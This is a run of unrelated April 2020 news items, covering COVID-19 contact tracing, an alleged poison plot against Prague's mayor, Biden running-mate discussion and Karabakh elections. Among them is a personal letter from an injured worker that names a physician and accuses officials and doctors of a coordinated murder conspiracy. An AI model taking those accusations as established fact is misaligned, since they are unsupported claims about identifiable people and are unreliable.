Annual Meeting. Shareholders also will have the ability to submit questions in advance of the Annual Meeting as described in the definitive additional materials as filed with the Securities and Exchange Commission on April 28, 2020. Shareholders of record at the close of business on March 16, 2020 who wish to participate can visit www.virtualshareholdermeeting.com/PMT2020 and enter the 16-digit control number included on the proxy card, voting instruction form, notice of internet availability of proxy materials or previously received email. Whether or not shareholders plan to attend the virtual meeting, we encourage you to select one of the methods described in the proxy materials to vote and submit your proxies in advance of the Annual Meeting. About PennyMac Mortgage Investment Trust PennyMac Mortgage Investment Trust is a mortgage real estate investment trust (REIT) that invests primarily in residential mortgage loans and mortgage-related assets. PMT is externally managed by PNMAC Capital Management, LLC, a wholly-owned subsidiary of PennyMac Financial Services, Inc. (NYSE: PFSI). Additional information about PennyMac Mortgage Investment Trust is available at www.PennyMac-REIT.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005991/en/ [ Back To TMCnet.com's Homepage ] NYS Workers' Comp G2029240: Request For Assistance On The Three Justices by Limin Wang April 24, 2020 Re: Request For Your Assistance, NYS WCB# G2029240 NYS WCB, and Dr. Mehrdad Golzad, I hope this writing is not a waste of your time or my time. I am bringing up some issues about appointments, medications, medical reports, and a working set of remedies to the deteriorating sequelae due to the injuries I have sustained. The last visit to Dr. Mehrdad Golzad's office for "treatment" was Feb. 27, 2020. Dr. Golzad said the follow-up appointment to be in four months, and the follow-up appointment the front desk gave was on June 25, 2020, four months away. However, the "medical report" of the Feb. 27, 2020 visit includes lines: "Headache disability index was 90% consistent with complete disability due to cephalgia", "Follow-up evaluation in 2 months". An NYS WCB rule I happened to read says for continuing treatment the follow-up visit needs to happen within 90-days of the previous one. I was calling Dr. Golzad's office at (718) 454-2222 on April 22, 2020, and the front desk woman confirmed the clinic is open during the COVID-19 pandemic, but she was mostly not answering my call. May I be able to have an EARLIER appointment with the New York City Medical & Neurological Offices, set on a date within 90-days since Feb. 27, 2020? There were some problems on some past appointments, with NYCMNO too, and my opponents have been imposing and blaming their such deliberate obstacles as my faults. The whole system is practically a denying and even a further-injuring system to an injured worker. It mounts the burden of presenting medical evidence on the injured worker, while the chain of medical evidence is totally controlled by such a system, not by an injured worker at all. An injured worker like me may not even be able to get an appointment from a WCB-authorized physician; And even if I the injured worker get the medical appointments, the WCB-authorized physicians would not diagnose, treat, or report the injuries without any significant bias towards the powers. Their written sentences often show the pathetic professionalism. For instance, the sentence Headache disability index was 90% consistent with complete disability due to cephalgia. on the NYCMNOs 02/27/2020 narrative report is problematic to me, although the accompanying C-4.2 form report unambiguously fills 100 to the question What is the percentage (0-100%) of temporary impairment. On April 22, 2020, the NYCMNO front desk woman was claiming a language difference between the clinic and me. I am using English, and its in English, with or without their deliberate accentvolumeusagespeed difficulty to me, that my opponents in this premeditated and coordinated murder-attempt case communicate with me. If a neurological clinic finds problem on my spoken-language impairment, then why the medical reports did not report any type(s) of aphasia? I wish that my writings, each with long painful effort, had communicated and would communicate well with English-users. The two medications prescribed from the Feb. 27, 2020 visit are "Magnesium Gluconate 400 mg daily for headache prevention" and "Celebrex 100 mg p.o. b.i.d. p.r.n. for neck pain, back pain, or headaches." I don't know why the medical report states in such an intriguing way, "for neck pain, back pain, or headaches". Which one(s) of the OR list the NYCMNO really acknowledges and prescribes Celebrex (Celecoxib) for? I have neck pain, back pain, AND headaches. Although the clinic's name is relatively comprehensive, "Medical & Neurological Offices", I have been told multiple times this clinic only treats brain, not even the whole head, not any other body parts. NYCMNO often didnt allow me the chance to talk complete of even just my traumatic brain symptoms, and their "medical reports" never included any symptoms from spine or many other important body sites. Its so outrageous for the recent medical reports from NYCMNO to put their words up as if my words by stating, His review of symptoms is remarkable for unsteadiness, photophobia, nausea, phonophobia, blurred vision and mood change. Thats the exact quotation in content and form. What happened to the other and particularly more significant symptoms? I gave a printout statement of my symptoms to Dr. Mehrdad Golzad in person on the August 06, 2019 visit. To sum the symptoms up, I have sustained severe head and spine trauma, and a variety of symptoms have shown, spread, and deteriorated across all my vital systems and all over my body, through the levels of physiological, cognitive, and phycological. WHY the PHYSICIANS and the WHOLE SYSTEM (including the employer from different levels up to TriNet, governmental personnel and officials, business insurances, and peoples lawyers) can be so arrogant and deliberate to just ignore, filter, twist, and fabricate whatever and then designate whatever as the EVIDENCE recognized by these POWERS only? Its a real ridiculous but murderous evil system. The perpetrators want to torture and/or murder me, and it will be my continuous struggle to reveal what an evil system it really is. Back to the medications issue, what's the purpose to prescribe Celebrex (Celecoxib, 100 mg) again? which was prescribed by NYCMNO and delivered by Custom Rx before but had not helped on my headaches, neck pain, OR back pain. More than that, I was never told any serious (side) effect about the medications and my reported terrible effects from medications were generally not acknowledged by the clinic. Because of the mentioned reasons, and for my own safety of not being harmed further, I reject the repeatedly prescribed Celebrex (Celecoxib). For the mineral supplement magnesium, the female Medical Assistant's handwritten note on the plain index card wrote only "magnesium glycinate", without anything else. NYCMNO's DF-L1 request form of "Magnesium" on 03/20/2020 states its strength to 300 mg, changed from the 400 mg as shown in the NYCMNO reports (including the 02/27/2020 medical narrative attached to the DF-L1) and delivered by Custom Rx in the year 2018. Where shows the seriousness to a patient of such treating? I went out to check over-the-counter medications and saw Magnesium oxide at strength of only 250 mg, 350 mg, or 400 mg, but no 300 mg, so I bought the Magnesium mineral supplement of 250 mg strength. The DF-L1 form is titled PROVIDERS REQUEST FOR FORMULARY PRIOR AUTHORIZATION AND INSURERS RESPONSE. In its section of "Previously Prescribed Formulary Drugs", both questions, "Have any Formulary drugs been previously prescribed for this condition?" and "Has there been a previously denied prior authorization request for a substantially similar medication?", were shown with the selection of "No" by Dr. Mehrdad Golzad. At the end section, Providers Attestation, the forms print, By submission of this request for approval of a non-formulary medication, I certify that my statements are true and correct. I am requesting this prior authorization before prescribing/dispensing medication that varies from the Formulary. In addition, I certify that I do not have a substantially similar request pending. I am so baffled by these. Such DF-L1 form intends to showcase the necessity of the insurance? for a Formulary medication or a non-formulary on Earth? These two DF-L1s seemed to be filed on March 09, and 20, respectively, 2020, AFTER the physicians prescription date when I had the February 27, 2020 visit. During the visit, the female MA was saying that the Magnesium is just a mineral supplement, a non-formulary medication, for me to buy out of pocket, but the other medication is a formulary one. Now, by both DF-L1 forms and the WCBs EC-325-L1F decisions, which I happened to see in the eCase folder but didnt receive such information from anyone any other way, both Celebrex (Celecoxib) and Magnesium are designated as non-formulary medications. Since the beginning of this Workers' Comp injury case, this clinic NYCMNO has prescribed ten medications: 1. Boswellia, 2. Fioricet, 3. Sumatriptan succinate, 4. Topiramate, 5. Rizatriptan Benzoa, 6. Celebrex (Celecoxib), 7. Magnesium Oxide, 8. Baclofen, 9. Amantadine, 10. Gabapentin, and Custom Rx delivered seven medications, No. 2 8. If the DF-L1 forms filled by Dr. Mehrdad Golzads office are true of the answer No to the question, Have any Formulary drugs been previously prescribed for this condition?", then why I had been prescribed by this treating clinic with the TEN non-formulary medications above for the condition of post-concussion syndrome? Has the WC insurance paid the charges of the medications delivered by Custom Rx? Has the ex-attorneys law firm Bangel, Cohen & Falconetti, LLC, done any real representation FOR me the injured worker on this case? Why the NYS WCB so often claimed that the insurer/self-insured employer/third-party administrator is non-responsive and then WCB in lieu of them sometimes made decisions/notifications for them such as the EC-325-L1Fs here? They are not supposed to be FRAUD businesses, are they? They do have physical addresses and personnel, dont they? Why such non-responsive liability businesses do not suffer governmental consequences? Why instead me the injured worker has to sustain so many consequences from so many parties intentional or non-intentional doing or not-doing? The insurer/self-insured employer/third-party administrator do have their attorney/representation from Jones Jones LLC (5 Hanover Square, #1001, New York, NY 10004), dont they? Their representation is involved in this injury case since the beginning, and such representation had been kept as a secret to me by all other parties until late July of 2019. By the way, what category of drugs the designer(s) of such a DF-L1 form may be taking when the section of Therapeutic Category exclusively carries such a line, Is the request for one of the following therapeutic categories, o Narcotic o Antianxiety o Skeletal Muscle Relaxant o None of the above. Isnt it psychiatric salt to the injury of the injured workers from this kind of Workers Compensation system? Based from my tragic real-life experience, I would suggest the whole ruling and ruining system add some specific choices such as o Intentional Tort o Murder Attempt Veiled as Workplace Accident o Murder Attempt Veiled as Diagnosis or Treatment. Leaving aside the SERIOUS issues on some content of the medical reports, I would like to confront here the submission issue of the medical reports. Since the drama of the February 01, 2019 hearing, I have not seen any direct submission of the medical reports (narrative or C-4.2) from NYCMNO to NYS WCB eCase Folder about my neurological visits to NYCMNO. Its presumably the treating clinics legal responsibility to direct submit their medical reports. NYCMNO has demonstrated their previous capability of directly submitting medical reports and recent capability of directly submitting the DF-L1 forms about the medications, though. NYCMNO often told me that its NYCMNOs billing company to produce C-4.2, and thats how I often have the MODERATE difficulty in getting the C-4.2 reports from NYCMNO since Feb. 2019. Also, New York Medical & Diagnostic Center, the other treating clinic supposedly on all my other injuries except the cerebral trauma, dumbed so many almost one- or two-years-old medical reports at late 2019. Where is the responsibility or credibility of a medical clinic and a governmental agency to a patient in an injury case? Also, how much truth such medical reports really convey? Its the powers freedom to write whatever in their writings such as the medical reports from treating or IME physicians, Rebuttal from defense attorneys, and even Decisions from WCLJs. The Decision of the 03/27/2020 REMOTE Hearing includes such lines, The carrier has raised the issue of labor market attachment as the claimant has been found to have a partial disability., The Claimants absence is excused due to COVID-19 emergency., The Claimant to also contact Dr. Uh to provide his availability for testimony., ?ANCR CR to the neck and left elbow. From where the powers have found me only to have a partial disability? I dont succumb any bit to the so-called COVID-19 which has so overwhelmed some regional medical professionals and reportedly caused so many deaths. I did try to attend the REMOTE hearing via telephone since it is a legitimate way to me the claimant too, but the WCLJ Lucky Enobakhare never called me back. The hearing by a REMOTE form is made by NYS WCB due to Governor Cuomos shutdown of NYS. In my writing The Power of Evil, I have exposed how the corrupt dark SYSTEM has premeditated and coordinated the continuous murder attempts and medical evidence laundries, particularly about my NECK, so I have no intention to contact Dr. Benjamin Uh at NTMDC for any further treatment or testimony. Although all the medical professionals I met during this case have shown their arrogant attitude of treating patients as medicine-illiterates or even No-English animals, its time for me to DIRECTLY CONFRONT the perpetrators about the facts, truth, and justice, in a hearing or a trial, or via public media. My suffering from their deliberate torture and murder-attempts can NOT be justified by this kind of medical diagnoses and treatments, and a monetary compensation of ONE HUNDRED FIFTY US DOLLARS PER WEEK. Its a CRUEL JOKE to the ruled and ruined people of such an EVIL SYSTEM. My upcoming writing of The Pursuit of Justice will tell my real-life experiences of this complex injury case as a whole story. Their murder conspiracy has started prior to my January 16, 2018 fall from the meticulously-set 8-ft trap stepladder and continued all the way of this case. I want answers on truth and justice from all other parties in this premediated and coordinated murder case. I have been seriously injured, particularly to my central nervous system, by the perpetrators, although they have not succeeded in my immediate or quick demise yet. For so long, I have been requesting the related USA and Chinese government agencies for assistance on three justices: Health Recovery, Criminal Investigation and Punishment to Perpetrators, and Monetary Compensation. These three aspects of justice are supposed to be served by a government, arent they? From what the perpetrators have done to me along the years, including in this injury case, I am expecting their continuous old trend of all means of ruthlessness, including assassination or holding me up to let me die quickly or suddenly of the serious CNS injury. To my understanding, the danger source is at the state- or deep-state level. Thus, I have started to openly apply that I need to travel to another nation such as Democratic Peoples Republic of Korea for real diagnoses and treatments. BY ALL POSSIBLE MEANS, I WANT THE TRUTH TO PREVAIL. By Trend Online discussions between representatives of Azerbaijans State Customs Committee (SCC) and the Islamic Republic of Iran Customs Administration (IRICA) have been held on April 27, the SCC told Trend. Azerbaijani delegation was represented by Deputy Chairman of the State Customs Committee, Major-General of Customs Service Javad Gasimov. The sides discussed the adaptation of freight traffic between the two countries to the regime applicable due to the coronavirus pandemic (COVID-19), regulation of border processes of goods and vehicles, as well as a number of other issues, the SCC said. Technical issues that arise during the cargo transportation by the Azerbaijani-Iranian joint venture, AzKron LLC, operating in the Neftchala Industrial District, as well as ways of their solutions have also been discussed. --- Follow us on Twitter @AzerNewsAz Extensive contract tracing, isolating cases, and testing may reduce the spread of the novel coronavirus, and favour control of the COVID-19 outbreak, suggests a study carried out in China. However, the researchers from the Harbin Institute of Technology at Shenzhen, China, caution that the impact of contact tracing to rapidly isolate people who could be infected with coronavirus disease 2019 (COVID-19) depends on identifying asymptomatic cases. Published in The Lancet Infectious Diseases journal, the study of 391 cases and 1,286 of their close contacts found that contact tracing reduced the length of time people were infectious in the community over 4 weeks in Shenzhen, China. According to results from In Shenzhen, authorities identified whom to isolate based on their contact with confirmed cases, as well as isolating people who already had symptoms, the researchers said. The new study found that contact tracing increased the speed at which new cases were confirmed by 2 days -- an average of 5.5 days initially, reduced to 3.2 with contact tracing. It also reduced the amount of time it took to isolate infected people by 2 days -- from an average of 4.6 days down to 2.7. There were only three deaths in the study group during the study period, the researchers said. "The experience of COVID-19 in the city of Shenzhen may demonstrate the huge scale of testing and contact tracing that's needed to reduce the virus spreading," said Ting Ma from the Harbin Institute of Technology at Shenzhe "Some of the strict control measures enforced here, such as isolating people outside their homes, might be unlikely to be replicated elsewhere, but we urge governments to consider our findings in the global response to COVID-19," said Ma. To achieve similar results, the researchers noted that other countries might be able to combine near-universal testing and intensive contact tracing with social distancing and partial lockdowns. "Although no lockdown measures were introduced in Shenzhen until the end of our study period, Wuhan's lockdown could have significantly restricted the spread of coronavirus to Shenzhen," Ma said. For the current study, the researchers analysed data from 391 people diagnosed with COVID-19 after they showed symptoms, and 1,286 of their close contacts. The contacts were tested irrespective of whether they had symptoms in order to identify infected people who were asymptomatic. The data gave insights into the type of contact most likely to lead to transmission. Close contacts were defined as people who shared a household with infected patients up to 2 days before they started showing symptoms, or interacted with them socially by travelling or eating together. For people who were isolated because they showed symptoms of COVID-19, it took an average of 4.6 days for them to be isolated following the first signs of infection. Contact tracing reduced this to an average of 2.7 days, the researchers found. For people diagnosed with COVID-19 after being contact traced and tested (87 people), a fifth (17 out of 87 people) had not yet developed any symptoms, and 30 per cent (25 out of 87) did not have a fever, they said. The length of time for which a person remains infectious is not yet known, but reducing the amount of time that infected people interacted with others appears to have helped reduce the virus spreading, the researchers said. The researchers highlight several limitations to their study, including that it is impossible to trace every potential contact an individual has. Contact tracing therefore focuses on close contacts who are most likely to be infected. They note that some infected travellers to Shenzhen could have been missed if they were only tested due to symptoms such as a fever. Their contacts might also have been missed if they were asymptomatic, because the PCR test is not sensitive enough to pick up every case, according to the researchers. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Prague's mayor Zdenek Hrib and Zhanna Nemtsova, the daughter of Russian opposition figure Boris Nemtsov smile after unveiling a sign renaming the square where the Russian embassy is located in Prague on February 27. Petr David Josek / AP On Monday, Prague's mayor Zdenek Hrib confirmed he had been under police protection for more than a fortnight. He said he couldn't comment on the reasons for the protection. Shortly before, an investigative magazine called Respekt reported that three weeks ago a person with Russian diplomatic papers arrived in Prague allegedly planning on assassinating Hrib with poison. The report hasn't been confirmed by Czech authorities, and Russian leader Vladimir Putin's spokesperson Dmitry Peskov said the report was "fake." Visit Insider's homepage for more stories The mayor of Prague confirmed he is under police protection a day after a Czech investigative magazine reported a Russian assassin had entered the country allegedly planning to kill him with poison. In an interview with a Russian independent radio station called "Echo of Moscow," on April 27, Prague's mayor Zdenek Hrib confirmed he had been under police protection for more than a fortnight, The Guardian reported. He said he couldn't comment on the reasons for the protection. On April 26, Czech investigative magazine Respekt alleged that three weeks ago a person carrying Russian diplomatic papers arrived in Prague planning on assassinating Hrib and Ondrej Kolar, the mayor of the Prague 6 municipality, with poison. Anonymous sources told Respekt the person was carrying a suitcase filled with ricin, a deadly poison. A Google translation of the Respekt article said sources had told the magazine the person was a member of the Russian secret service. It also said security forces knew about the person's arrival and evaluated it "as an immediate risk for a pair of Czech politicians, whose actions in recent months have provoked the wrath of Moscow." The report hasn't been confirmed by the Czech authorities. Hrib "provoked the wrath of Moscow" by backing the renaming a square in front of the Russian embassy in Prague after Boris Nemtsov, a political opponent of Russian Leader Vladimir Putin's, who was shot near the Kremlin in 2015. Story continues While Kolar supported the removal of a Russian statue of a marshal named Ivan Konev. Konev is a hero in Russia but is seen by many as an oppressive symbol in the Czech Republic, according to the South China Morning Post. Protesters are reflected in the frame of a portrait during a rally in memory of opposition leader Boris Nemtsov in St. Petersburg, on February 29. Dmitri Lovetsky / AP These two acts were the latest moves by Czech officials that looked to be designed to strengthen the country's "pro-Western foreign policy" against the "efforts by populists to pull the country closer to countries like Russia and China," Al Jazeera reported in February. Of the decisions made by the Czech officials, Hrib told Al Jazeera in February: "This is in line with the Czech tradition of respect for human rights." In Monday's interview, he was standing by the actions. He said: "First of all I should say that it is very important for me to stand by my belief although it means a risk for my life." Russian leader Vladimir Putin's spokesperson Dmitry Peskov said the report was "fake," according to the Guardian. "We don't know anything at all about this investigation. We don't know who did the investigation. It looks like yet another canard," he said. Read the original article on Insider The Nova Scotia government has activated a roster of psychologists to help address the mental health challenges facing the provinces weary population. In a release Tuesday, the Nova Scotia Health Authority said people can call in to a free service set up by the Association of Psychologists of Nova Scotia to talk about their distress over the recent mass shooting that left 22 people dead. The agency is opening a special phone line as of Wednesday to allow Nova Scotians to talk about their difficulties and ways of coping with the tragedy amid the COVID-19 shutdown. Many residents of the province already appeared to be struggling with stress prior to the shootings. In a national survey conducted before the killings, the Angus Reid Institute noted that of 53 Nova Scotians included, more than half said worry was the best word to describe the emotion theyre feeling the most. Dean Perry, a clinical psychologist at St. Marthas Regional Hospital in Antigonish, said more than 50 psychologists will be available to provide assistance through the service set up by his associations post-disaster committee. He said the hope is that people who are in need of immediate help access the service, and those needing further care could be given a referral. The design (of the service) is to have people who are affected by the tragedy to be stabilized and to have their immediate needs and concerns looked at, Perry said. Dr. Robert Strang, Nova Scotias chief medical officer of health, said officials are aware of the challenges posed to both physical and mental health by the dual stressors of the shootings and the COVID-19 restrictions. We are actively looking at opening up perhaps, peoples options to being outdoors more, said Strang. However, he didnt specifically indicate how soon that might happen. Strang said it could still be weeks before any restrictions are lifted, and even when they are, people will have to follow basic requirements to limit the size of social gatherings. People who knew those killed in the shooting say it has been difficult to cope with the loss, particularly in isolation. Jane Andrews, whose cousin Joey Webber was murdered by Gabriel Wortman on Sunday in Shubenacadie, said the shooting has intensified anxious emotions that were already present due to the provincial shutdown. Even prior to the shooting, the 65-year-old retiree said she often felt exhausted, although she hadnt been physically active, and had periods of uncontrolled crying. Then came this horrendous massacre in our province. This was my breaking point. I screamed, I ranted, I raged. I looked up and challenged God: Why? When will enough be enough? If youre testing me, God, Ive failed, said the resident of Hubbards. Alec Gratto, the younger brother of Jamie Blair a mother of two young boys killed along with her husband Greg Blair at their home in Portapique said he is aware of the kind of mental distress Nova Scotians are feeling and urged people to seek help. I went through mental health (services) years ago, and it was beneficial. Just make a phone call ... and start talking, he said in an interview. The grief in Portapique, the coastal community where the murder spree started late April 18, can be felt across the Bay of Fundy in the small community of West Gore, said resident Kathy Didkowsky. When word got around that there was a shooter on the loose on the morning of April 19, Didkowsky said she struggled to work the lock on her door, because it had been so long since she felt the need to use it. The rampage ended later that day when the killer was fatally shot by police in Enfield, N.S., after a 13-hour manhunt through central and northern communities. While she never met the victims of the massacre, Didkowsky said they still feel like family, given the shared way of life that connects villages across Nova Scotia. She said that rural quietude seems to be under threat following shootings. Nothing has prepared us for this, said Didkowsky, 70. Tanya Sharpe, an associate professor at University of Torontos school of social work, said this shows how the trauma of deadly violence can ripple through a community. In the wake of tragedy, Sharpe said many people need to collectively mourn the loss of a perceived sense of normalcy, often finding ways to come together in an effort to rebuild. But as COVID-19 has prohibited typical forms of social support, Sharpe expects many will see prolonged symptoms of grief, and said mental health workers need to prepare accordingly. It is so fundamental for service providers to have both a short-term crisis intervention plan to help, as well as a long-term (plan), said Sharpe. The Nova Scotia Health Authority said in its release that anyone can call 902-422-9183, from 9 a.m. to 3 p.m., Monday to Friday, to arrange a support session with a psychologist within 48 hours. Psychologists will offer their expertise, free of charge, via online video conference or by telephone, due to COVID-19 restrictions. With files from Keith Doucette in Halifax. Read more about: Joe Biden took on the most diverse field of candidates in the history of a presidential primary, before becoming the presumptive Democratic nominee. Even before he pledged to choose a woman as his running mate, many called on the 77-year-old Biden to choose someone who reflects not only the diversity of the Democratic Party, but of the nation itself. Some are calling on Biden to look for a woman of color while others are specifically hoping a black woman will fill the position. During a recent interview on ABC's "The View," former Georgia State House Leader Stacey Abrams, a woman rumored to be one of the top vice presidential contenders, said Biden should choose a woman who "reflects the diversity of America" as his running mate. "Women of color, particularly black women, are the strongest part of the Democratic Party," said Abrams during the interview. "The most loyal [part too] but that loyalty isn't simply how we vote. It's how we work, and if we want to signal that that work will continue, that we're going to reach not just to certain segments of our community, but to the entire country, then we need a ticket that reflects the diversity of America." Senator Kamala Harris of California, who is also a potential contender for the vice presidential role, weighed in during an interview with MSNBC on Saturday. The former presidential candidate wouldn't go as far as to say that Biden should choose a black woman but said she believes "it is very important to have a woman of color or a woman, as [Biden] has said on the ticket." Since 1972, at least 86% of black women who voted in presidential elections supported the Democratic presidential candidate. In 2008 and 2012, more than 90% of black women voters cast their ballots for Barack Obama. And according to exit polls, 92% of black women voted for Democratic candidates in the 2018 midterm elections. CBS News spoke with several black Democratic congresswomen who think that Biden should choose a black woman as his running mate because they say it's time for black women to serve in this top role after decades of loyalty to the Democratic Party. Story continues "I certainly agree with my colleagues who have said a woman of color, but specifically an African-American woman," Congresswoman Alma Adams of North Carolina told CBS News. "Knowing the support that we have always given to this party. We have carried this party for as long as I can remember." Congresswoman Marcia Fudge of Ohio went a step further and said that at some point the Democratic Party must "reward and recognize its loyal soldiers," namely, black women. Fudge warned that if the party doesn't mobilize black women, Democrats can't win in November. "The mistake I believe we have made in the last couple of races we've run is we neglect to bring out our base" Fudge said. "The base of the Democratic Party clearly is black and brown, but more black than brown." "I think it's important that a black woman be selected because she can pull people together and unify people," California Representative Barbara Lee said. She cited the role black women have played not only in American history but in the Democratic party, saying that "black women bring their own unique brilliance and set of experiences to the table." Both Lee and Fudge Fudge were both early endorsers of Harris' presidential bid during the primary. None of the congresswomen who spoke to CBS News expressed a preference for a particular black woman getting the vice-presidential nod, but noted that there are several who are qualified to fill the position. Representative Sheila Jackson Lee of Texas noted that by choosing a black woman as his running mate, Biden could send a powerful message. "The statement that the campaign and [vice] presidency would make is [not only] that an African-American woman can stand alongside of a president, but an African-American woman can also embrace and represent fairly all racial backgrounds." Conversations with more than a dozen black women activists and political leaders across multiple battleground states like Wisconsin and Pennsylvania, revealed a similar sentiment: That it is past time for women of color and particularly black women to be seriously considered for top positions like the role of vice president. "No one group can do it alone it's a broad coalition but women of color are the core, the pillar of the vote that's needed in order to win the White House," said Aimee Allison, founder of the national coalition of women of color called She the People. "When [Biden] says 'oh I'm not committed to a woman of color,' he's signaling that he does not see us and that's a big mistake." "[Black women and women] won't tolerate facades anymore," said Stefanie Brown James, vice president of training and community engagement for EMILY's List, a political action committee that aims to elect pro-choice Democratic women. "We won't tolerate lip service, we won't tolerate not being a part of the conversation." Glynda Carr, the CEO and president of Higher Heights, a PAC dedicated to electing more women to national and statewide offices, spoke about the need for America to rethink what leadership should look like in the 21st century. "I think even more now than ever amid COVID-19 we want experienced leadership, qualified leadership and competent leadership," Carr said. "We are encouraging Vice President Biden that given that criteria of someone that is ready to lead as VP that there is actually a list of black women that meet those criteria." In March, She the People, -- which includes women of color who are voters, organizers, and elected members,-- asked nearly 900 of its members to choose who they'd like to see as vice president from a list of well-known political leaders who were all women of color. Abrams was the top pick for 63% of the women polled. Harris received 42% of the votes cast. Other women who received some level of support in the survey include Congresswomen Ayanna Pressley, Barbara Lee, and Val Demings. David Binder, founder of David Binder Research and a former pollster for Mr. Obama's two presidential campaigns and Harris' presidential and Senate campaigns, says having a black woman on the ticket could make a difference for turnout. "In Milwaukee and in Philadelphia and in Detroit in 2016, the expectation of African American turnout for both black women and black men was not at the level anticipated," Binder said. "For motivational purposes having a black woman on the ticket may make a difference. It could make a substantial difference on what the turnout is on those same cities." But many leaders also said race shouldn't be the top or only factor in choosing the right running mate. "Representation matters but it's not the most important thing. I think that we could get a woman or a black woman vice president candidate that does not align with progressive values, and that would not be something that I think would be a step forward," said Angela Peoples, director of Director for Black Womxn For, an organizing collective that first endorsed Senator Elizabeth Warren's presidential bid in January. "I mean Sarah Palin was a woman who was the vice president candidate, right? It isn't just enough to say, 'Oh great, he's picking a woman, oh great he's committed to picking a woman of color, which he has not but I do think those things matter when we're talking about investing in the future of the Democratic Party." According to Adrianne Shropshire, the executive director of BlackPAC, an organization aimed at promoting issues important to the black community, the ultimate goal for black women has been the same since the beginning of the primary: Defeating President Trump. "While choosing a black woman would be an acknowledgment of a whole set of contributions that black women have made to the Democratic Party, I don't think that that means that it is the primary and priority issue," said Shropshire. "Primarily they still want a ticket that can beat Trump. And they still want a ticket that is going to be able to both elevate the issues that are concerning some black voters and then govern on them." All of the black women political leaders that CBS News spoke with emphasized the need for the eventual vice-presidential pick to have a strong grasp of the problems facing the black community and particularly, black women. Access to healthcare, black maternal mortality rate, protecting women's reproductive rights, ensuring racial justice, and "exposing the number of black and brown people who are in low wage jobs were among the list of issues that were mentioned. "It's not that simple that we're just trying to get a black woman elected," said Judith Browne Dianis, Executive Director of the non-partisan group, Advancement Project. "Yes it would be great, but we also know that that person has to have the values and the policy platform that we care about. And that they're going to be able to deliver." Dianis said. Despite different preferences in who should serve as Biden's running mate, most agree that candidates who struggle to garner support among black voters shouldn't be on the short list. There are arguably multiple candidates on the short list who may struggle in this category but some leaders pointed to Senator Amy Klobuchar of Minnesota as one example of a candidate who is qualified but never showed that she could connect with black voters. "Do I think Amy Klobuchar is capable and an accomplished woman? Absolutely. But she did [do] almost nothing to garner the support of black people here in South Carolina and her black support nationwide was nonexistent," said said Tamika "Mika" Gadsden, who is a South Carolina-based activist. "I think people who have proven that they can't get any black support are a non-starter." "To bring someone like Amy Klobuchar I mean she's a fine senator but that's not a winning strategy where we need women of color to be "all in" and we need us to vote through a pandemic with shifting dates of election and questionable voter suppression tactics," said Aimee Allison, founder of She the People. According to exit polls, 92% of black women voted for Democratic candidates in the 2018 midterm elections. Georgia Democratic Party Chair Nikema Williams, who is the first black woman to lead the state's political party, said the power of having a black woman at the top of the ticket was evident in Georgia's 2018 gubernatorial race, when Abrams narrowly lost the contest that would have made her the first black woman governor in the country.Williams said that while she plans to mobilize voters to support whomever is on the Democratic ticket, she reiterated what it could mean to have a black woman at the top of the ticket. "Regardless of who Vice President Biden chooses as his running mate, I'm going to be out there making sure that we get out the vote," said Williams, who is also a Georgia state senator. "But I think at some point we want to see ourselves reflected in the leadership that we're voting for." Boston police officer reunites with family Hawaii mayor posts entertaining videos to ease boredom San Franciscans sing iconic song together By Akbar Mammadov Co-chair of the Civil Peace Platform between Armenia and Azerbaijan, the head of the Karabakh Armenians Movement, Arthur Agajanov, has criticized the so-called "presidential and parliamentary elections" held in Nagorno-Karabakh recently, calling them illegal and illegitimate. In an interview given to an Armenian journalist and posted on YouTube on April 25 (https://bit.ly/2KHI7E6), Agajanov said that the so-called election was held without participation of Nagorno-Karabakhs Azerbaijani population who have been expelled from their homes and therefore was void. He also emphasized the lack of international observers during the elections. Its time to end this circus and commence the real, constructive negotiations between the sides. The final status of Nagorno-Karabakhs status will be defined during the negotiations process, Aghajanov said. Agajanov also told Interfax-Azerbaijan Agency on April 26 that the so-called elections violated the fundamental right of participation of all residents of Nagorno-Karabakh. Tens of thousands of Karabakh Azerbaijanis expelled from their native land did not participate in these elections, he emphasized. In an exclusive commentary, Agajanov also stressed that international observers did not arrive for monitoring the so-called elections, which suggests that the world community does not recognize either the Nagorno-Karabakh regime nor any of their actions until all forced IDPs return to their homes and occupied territories are liberated. Aghajanov reminded that international organizations have condemned the so-called "elections" in Nagorno-Karabakh. Furhtermore, Aghajanov spoke about the threat of COVID-19 in Nagorno-Karabakh, saying that the so-called elections were held without any regard to the health of the regions population. It is interesting that some presidential candidates of the unrecognized republic, as well as part of the population of Nagorno-Karabakh, were against holding these elections in connection with the coronavirus, he said. I realized that the situation and health of the Karabakh Armenians is more of a concern to Azerbaijan than the Karabakh separatists or the Armenian authorities", he added. Agajanov noted that many Karabakh Armenians support Azerbaijans territorial integrity but are afraid to voice it due to threat from the separatist regime. A significant part of the Karabakh Armenians living abroad also support the resolution of the conflict within the framework of the sovereignty of Azerbaijan and good neighborly relations with the Azerbaijani people, he added. Aghajanov said that he was not particularly surprised when recently two Karabakh Armenians - husband and wife Hovhannes Torosyan and Tamella Arzumanyan - made angry accusations against Armenia and the separatist leadership. (https://bit.ly/2W8cGYP) "This family called on the Karabakh people to seek help and protection from Azerbaijan, among Azerbaijanis. They rightly noted that they would entrust their children and family to Azerbaijanis than Armenians - that this what many Armenians abroad do, who trust and seek support from Azerbaijanis. We fear for the fate of these two Karabakhi people and urge international and human rights organizations to make efforts to save this family, whose are in danger. We call on the members of the Karabakh Armenians to openly support Hovhannes Torosyan and Tamella Arzumanyan, who are seeking justice, seeking to free themselves from slavery of the NKR occupation regime, said Agajanov. He noted that the Nagorno-Karabakh conflict should be resolved peacefully and within the framework of the sovereignty of Azerbaijan. "Thousands of Armenians of Azerbaijan want this. I urge the Baku Armenians, most of whom have Karabakh roots, not to remain indifferent to the fate of the Karabakh Armenians," Aghajanov concluded. Armenia-Azerbaijan Civil Peace Platform was set up in 2016 with the aim of establishing peace and reconciliation between the two nations. --- Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97 Follow us on Twitter @AzerNewsAz When Accenture plc (NYSE:ACN) announced its most recent earnings (29 February 2020), I compared it against two factor: its historical earnings track record, and the performance of its industry peers on average. Being able to interpret how well Accenture has done so far requires weighing its performance against a benchmark, rather than looking at a standalone number at a point in time. In this article, I've summarized the key takeaways on how I see ACN has performed. View our latest analysis for Accenture How Did ACN's Recent Performance Stack Up Against Its Past? ACN's trailing twelve-month earnings (from 29 February 2020) of US$5.0b has jumped 11% compared to the previous year. Furthermore, this one-year growth rate has exceeded its 